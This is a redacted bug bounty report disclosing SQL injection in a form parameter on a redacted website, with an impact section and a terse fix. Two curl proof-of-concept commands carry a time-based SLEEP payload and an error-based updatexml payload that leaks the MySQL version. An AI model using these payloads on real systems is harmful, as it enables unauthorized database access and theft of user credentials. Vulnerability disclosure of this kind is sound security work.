SQL Injection on https://████████/

**Summary:** https://████ is vulnerable to SQL Injection. **Description:** The `███████` parameter in `https://█████████/██████` does not properly sanitize input, thus allowing an attacker to execute SQL queries on the server! ## Impact This is a **high impact** vulnerability! I saw a list of tables which I'm guessing contain confidential information such as emails, usernames, passwords, etc! Attackers could likely leverage this to Remote Code Execution by finding admin credentials, then gaining unauthorized access to an admin panel! ## Step-by-step Reproduction Instructions #### Proof of Concept #1: 1. Open up your terminal! 2. Paste this command ``` curl -i -s -k -X $'POST' \ -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Referer: https://██████/██████████?█████████=K' -H $'Upgrade-Insecure-Requests: 1' \ -b $'_ga=GA1.2.2009424950.1494732845; PHPSESSID=35472be86b20b8a7f8c15737a8977f49' \ --data-binary $'█████=K*\' OR SLEEP(10) AND \'aSgl\'=\'aSgl&sid=35472be86b20b8a7f8c15737a8977f49&emailid=███████&emailid2=█████████' \ $'https://██████/████████' ``` 3. Now the server will sleep for 10 seconds and then respond! #### Proof of Concept #2: ``` curl -i -s -k -X $'POST' \ -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Referer: https://██████/███████?█████=K' -H $'Upgrade-Insecure-Requests: 1' \ -b $'_ga=GA1.2.2009424950.1494732845; PHPSESSID=35472be86b20b8a7f8c15737a8977f49' \ --data-binary $'█████=K*\' OR updatexml(null,concat(0x3a3a,version()),null) AND \'aSgl\'=\'aSgl&sid=35472be86b20b8a7f8c15737a8977f49&emailid=█████████&emailid2=██████████' \ $'https://██████/███' ``` You will see: "<br><br>You have this list added to your current optionsXPATH syntax error: '::`████`'" which is the MySQL version! **information:** Current User: `███████@localhost` Databases: `█████` Version: `███` ## Suggested Mitigation/Remediation Actions Sanitize sanitize sanitize!! Thanks as always ;) -Corben Douglas (@sxcurity)